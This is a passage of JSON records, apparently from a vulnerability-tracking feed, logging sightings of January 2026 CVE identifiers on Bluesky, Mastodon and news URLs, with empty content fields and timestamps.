"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24489", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdeusa4gm72m", "content": "", "creation_timestamp": "2026-01-27T04:02:16.249279Z"}, {"uuid": "a1563360-d256-423e-b028-2676ea6b6045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24808", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdffxaypez26", "content": "", "creation_timestamp": "2026-01-27T09:09:18.520559Z"}, {"uuid": "586d1fa1-a5c3-4da9-bebf-9bef5b0e859e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24806", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdffzx5ew32h", "content": "", "creation_timestamp": "2026-01-27T09:10:49.180099Z"}, {"uuid": "e6a07ab8-5385-44af-9e88-ce5b6cd7bf6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24804", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfg4rsgzg2r", "content": "", "creation_timestamp": "2026-01-27T09:12:24.040573Z"}, {"uuid": "a7529c17-ed14-4bc2-8bae-8a5594352ea1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24802", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfg7rhudi2g", "content": "", "creation_timestamp": "2026-01-27T09:14:07.727610Z"}, {"uuid": "94c3f657-6c2b-4da7-bb72-0188cb736b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24803", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfgczgxn72r", "content": "", "creation_timestamp": "2026-01-27T09:15:53.259611Z"}, {"uuid": "2f91133f-02e0-4249-aeb3-0bf6d638b6ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24809", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfggf2sr72r", "content": "", "creation_timestamp": "2026-01-27T09:17:46.550352Z"}, {"uuid": "5cb6d3b1-0aa6-4c9f-bce1-7e882f976143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24807", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfgjxtfeo2t", "content": "", "creation_timestamp": "2026-01-27T09:19:46.631775Z"}, {"uuid": "a188efa9-9af4-4760-ba23-92390f517da0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24801", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfgnsrnwf26", "content": "", "creation_timestamp": "2026-01-27T09:21:55.260290Z"}, {"uuid": "18c47737-6c68-479c-9c28-19058ec40ca9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24812", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfgrx5db52i", "content": "", "creation_timestamp": "2026-01-27T09:24:14.094158Z"}, {"uuid": "9ca41ce5-fcc4-4645-8222-654089a6c047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24815", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfgwgjw7v2i", "content": "", "creation_timestamp": "2026-01-27T09:26:44.578357Z"}, {"uuid": "d9ff01b3-097b-47fb-80eb-a675b228d423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24811", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfh3cvbqr2m", "content": "", "creation_timestamp": "2026-01-27T09:29:28.879461Z"}, {"uuid": "88b1007a-1075-4f30-afbd-edec89eedf23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24813", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfhaoueyg2m", "content": "", "creation_timestamp": "2026-01-27T09:32:28.864538Z"}, {"uuid": "33b18c3d-1d76-4983-bf59-02cb327a9af8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24816", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfhgnwjwc2h", "content": "", "creation_timestamp": "2026-01-27T09:35:49.217032Z"}, {"uuid": "2f1b89b5-1de6-4f54-8d18-0432f585262b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24814", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfhnetjtz2c", "content": "", "creation_timestamp": "2026-01-27T09:39:34.547042Z"}, {"uuid": "5fb4c668-83e9-4c0a-9afb-2b86bae408fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24805", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfhv2ggt32j", "content": "", "creation_timestamp": "2026-01-27T09:43:51.923387Z"}, {"uuid": "d8583356-087f-4983-a5c9-2d02dc142501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24818", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfi5yug5k2c", "content": "", "creation_timestamp": "2026-01-27T09:48:52.517546Z"}, {"uuid": "0d115145-3f89-48aa-b5ce-4cbe6db85d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24817", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfigxcyuc23", "content": "", "creation_timestamp": "2026-01-27T09:53:52.782326Z"}, {"uuid": "0e42852c-8acc-49ef-b56e-cc99d1841b6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24810", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfipvrao42h", "content": "", "creation_timestamp": "2026-01-27T09:58:53.095442Z"}, {"uuid": "e4ee8594-ed31-42a9-80b9-339ace0b579c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24819", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfiyu7zxu2m", "content": "", "creation_timestamp": "2026-01-27T10:03:53.736464Z"}, {"uuid": "34b1cb50-e051-42b1-bf05-5d864babaf76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24830", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115966496664593357", "content": "", "creation_timestamp": "2026-01-27T10:05:11.318482Z"}, {"uuid": "c80f0863-35ef-4600-a1a4-1a5c1aa5472d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24820", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfjbsoib623", "content": "", "creation_timestamp": "2026-01-27T10:08:53.768589Z"}, {"uuid": "0798b56a-705a-4533-8837-9383b229937d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24830", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdfkcuouhg2m", "content": "", "creation_timestamp": "2026-01-27T10:27:23.748854Z"}, {"uuid": "1d29779f-9359-46a9-8141-24b20bf8c141", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24827", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdfkd3awhf23", "content": "", "creation_timestamp": "2026-01-27T10:27:30.581436Z"}, {"uuid": "02d1d433-7cab-4fd1-a791-788dcd16e510", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24828", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdfkdbosyw2m", "content": "", "creation_timestamp": "2026-01-27T10:27:37.533228Z"}, {"uuid": "d6554747-03e3-4133-ac93-99398c833f9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mdfljn2liv2d", "content": "", "creation_timestamp": "2026-01-27T10:49:04.462421Z"}, {"uuid": "4458e65c-2282-4b1d-a716-5ae42763fca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://bsky.app/profile/cybersentinel404.bsky.social/post/3mdfnoipjjj2l", "content": "", "creation_timestamp": "2026-01-27T11:27:34.529034Z"}, {"uuid": "4b9c672f-6aa1-408e-8b6a-d5d54cc8592e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24822", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfphjdubb2n", "content": "", "creation_timestamp": "2026-01-27T11:59:27.923692Z"}, {"uuid": "b7f3f64b-0e43-4bd0-b843-29f2741f56c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24398", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mdfponkprd2e", "content": "", "creation_timestamp": "2026-01-27T12:03:27.783282Z"}, {"uuid": "d7a3d8d0-ed75-4653-9c54-89ba036d8304", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24821", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfpuab7js26", "content": "", "creation_timestamp": "2026-01-27T12:06:34.590079Z"}, {"uuid": "d6a79487-36f9-4b34-94cf-9d04750c2c77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24794", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfq3vteb32r", "content": "", "creation_timestamp": "2026-01-27T12:10:51.950853Z"}, {"uuid": "f3050e4c-c97b-4189-9506-7d671920e384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24826", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfqeubejd2c", "content": "", "creation_timestamp": "2026-01-27T12:15:52.478962Z"}, {"uuid": "0a94324c-be85-4266-bb47-26f3b8d6f705", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24823", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfqnsp5rj2c", "content": "", "creation_timestamp": "2026-01-27T12:20:52.661578Z"}, {"uuid": "e235cf9a-8eee-4c96-878d-d2d9deecab84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24830", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfqwr4wnx2i", "content": "", "creation_timestamp": "2026-01-27T12:25:53.271735Z"}, {"uuid": "d21a645b-8dd1-4001-bda8-b166dde54e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24798", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfr7pkotj2r", "content": "", "creation_timestamp": "2026-01-27T12:30:53.471706Z"}, {"uuid": "cee87a65-1433-4c49-b4bc-3c8d2178decb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24800", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdfrinz5un2h", "content": "", "creation_timestamp": "2026-01-27T12:35:53.797959Z"}, {"uuid": "3bcc9b4d-7c35-4e46-94a8-33bd457ee707", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24536", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdfs3q6yqz23", "content": "", "creation_timestamp": "2026-01-27T12:46:34.031218Z"}, {"uuid": "9a0853d7-50de-4fb4-8676-43b45f6328ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mdfttihkxid2", "content": "", "creation_timestamp": "2026-01-27T13:17:48.752363Z"}, {"uuid": "9097c540-fdaa-4afd-bee5-5ad5b951ad42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://thehackernews.com/2026/01/critical-grist-core-vulnerability.html", "content": "", "creation_timestamp": "2026-01-27T09:36:00.000000Z"}, {"uuid": "ca2e70cf-7be1-4818-8f07-ef04e7c9b8fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mdfxwvgsac2v", "content": "", "creation_timestamp": "2026-01-27T14:31:14.062065Z"}, {"uuid": "0cfc75ac-8153-4f7f-9377-ce48b4296054", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24523", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdg4ou7if62h", "content": "", "creation_timestamp": "2026-01-27T15:56:16.157688Z"}, {"uuid": "f0822510-9467-4697-8b05-57fe5b5f2a63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24524", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdg4p3iu5w2h", "content": "", "creation_timestamp": "2026-01-27T15:56:22.027060Z"}, {"uuid": "57c571e4-4c38-4ff3-94c9-beb6874591eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24529", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdg4pctpgi27", "content": "", "creation_timestamp": "2026-01-27T15:56:28.456414Z"}, {"uuid": "52edec11-bcef-462e-bfae-0fdb52ff612a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24875", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdg6mjvqf52g", "content": "", "creation_timestamp": "2026-01-27T16:30:42.954479Z"}, {"uuid": "afc8380b-e46c-4664-b570-83396a78ff89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24832", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdg6mr3kel2o", "content": "", "creation_timestamp": "2026-01-27T16:30:50.366313Z"}, {"uuid": "a3ec8c6b-a095-444f-a66b-f9cf983eae78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24872", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdg6myo4gi2v", "content": "", "creation_timestamp": "2026-01-27T16:30:58.304683Z"}, {"uuid": "d7278048-6c35-41f8-9899-5ef0cbc08433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24873", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdg7gasnsd2x", "content": "", "creation_timestamp": "2026-01-27T16:45:05.621220Z"}, {"uuid": "ed005caf-33dc-4c9c-b184-5935a4c2742d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24874", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdg7gi7jrv2g", "content": "", "creation_timestamp": "2026-01-27T16:45:13.525819Z"}, {"uuid": "14469f46-6136-4531-9342-e9642ecc773c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24831", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdg7o7p4z32o", "content": "", "creation_timestamp": "2026-01-27T16:49:33.149435Z"}, {"uuid": "80f057aa-d662-4dd3-9f24-16c316e5461b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24869", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdgdrq23ep2g", "content": "", "creation_timestamp": "2026-01-27T18:03:05.610211Z"}, {"uuid": "1dedd2af-9182-45ea-a119-a6c836ad6540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mdgdssntgi2l", "content": "", "creation_timestamp": "2026-01-27T18:03:41.949210Z"}, {"uuid": "8f4934a5-0042-4eaf-b92d-bb60c6ed58e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mdgerfjnyb2j", "content": "", "creation_timestamp": "2026-01-27T18:20:48.125391Z"}, {"uuid": "e733b6e9-76b0-4f6e-a3b5-c2bd66ba9da0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24873", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdghiz6h2i2i", "content": "", "creation_timestamp": "2026-01-27T19:09:47.974274Z"}, {"uuid": "8c157920-dbc3-4695-94a8-07e3607fbb33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24875", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdghlpdarp2m", "content": "", "creation_timestamp": "2026-01-27T19:11:18.257565Z"}, {"uuid": "b6c014e5-aeee-466c-8e4b-2c3898c849c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24871", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdghy2myt32i", "content": "", "creation_timestamp": "2026-01-27T19:18:12.584334Z"}, {"uuid": "b5141c62-0fec-4b38-ae68-ff95ca46d0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24874", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgii45lbs2c", "content": "", "creation_timestamp": "2026-01-27T19:27:11.111288Z"}, {"uuid": "8fbd534a-0333-4970-a355-ab3e4b15bb3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24881", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdginhtwsw2m", "content": "", "creation_timestamp": "2026-01-27T19:30:11.552239Z"}, {"uuid": "03385bde-a3ae-48c7-a33f-c1df0b1be4cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24882", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdgiotrfi424", "content": "", "creation_timestamp": "2026-01-27T19:30:57.826735Z"}, {"uuid": "3fd5037f-b4ce-45ff-afb9-1ddd1302f08d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24870", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgiydlfb32i", "content": "", "creation_timestamp": "2026-01-27T19:36:15.900624Z"}, {"uuid": "b50b961c-ed4f-416b-a162-4f34fcc22b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24872", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgkkjw5262n", "content": "", "creation_timestamp": "2026-01-27T20:04:20.076126Z"}, {"uuid": "e9ee9d30-2323-4fed-beb3-c8b34ad59948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdglczbdf425", "content": "", "creation_timestamp": "2026-01-27T20:18:01.898119Z"}, {"uuid": "d0265375-b14d-4d91-a124-371678fee91f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdglo52jys2c", "content": "", "creation_timestamp": "2026-01-27T20:24:14.677328Z"}, {"uuid": "40a59f1c-e9e8-45db-91f9-9eb45f04dc03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24882", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdglutwzkk2t", "content": "", "creation_timestamp": "2026-01-27T20:28:00.091103Z"}, {"uuid": "372f9de8-2236-40a2-bc6e-be1ea3959bee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24881", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgm4jjdg52m", "content": "", "creation_timestamp": "2026-01-27T20:32:17.475537Z"}, {"uuid": "a23f7aa8-4166-4601-b964-f8b296e19608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mdgm6fm3tw2f", "content": "", "creation_timestamp": "2026-01-27T20:33:21.557412Z"}, {"uuid": "aa0728b2-ee19-48d7-9ce0-b265292af39a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mdgnthzzfk2k", "content": "", "creation_timestamp": "2026-01-27T21:03:07.404438Z"}, {"uuid": "fa8186eb-2f17-42e4-944e-948bcc4ff074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24883", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgo7png6n2h", "content": "", "creation_timestamp": "2026-01-27T21:09:52.115070Z"}, {"uuid": "c96e60a1-bc65-4775-9cbe-c00559428cca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24472", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgof3mheh23", "content": "", "creation_timestamp": "2026-01-27T21:12:52.524368Z"}, {"uuid": "4018389f-bd52-4504-8fab-ccb45d17cc43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24771", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgol2onf32j", "content": "", "creation_timestamp": "2026-01-27T21:16:12.647313Z"}, {"uuid": "61570ab7-2079-44f8-82ac-bd64de2a081d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24736", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgozh3zj52n", "content": "", "creation_timestamp": "2026-01-27T21:24:15.843765Z"}, {"uuid": "426e7dbc-5b23-4e6f-8a0a-09b75572f755", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24473", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgpcfjjdx23", "content": "", "creation_timestamp": "2026-01-27T21:29:15.957663Z"}, {"uuid": "30459c6d-b877-4cda-b96b-0c70390b640b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24688", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgq5arbsl2m", "content": "", "creation_timestamp": "2026-01-27T21:44:16.791270Z"}, {"uuid": "fb8de103-67c7-4386-a3ef-bd55e2e749ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24736", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdgql7npt62v", "content": "", "creation_timestamp": "2026-01-27T21:52:05.964661Z"}, {"uuid": "386e790d-de45-41d1-9dfd-519015e9f278", "vulnerability_lookup_origin": 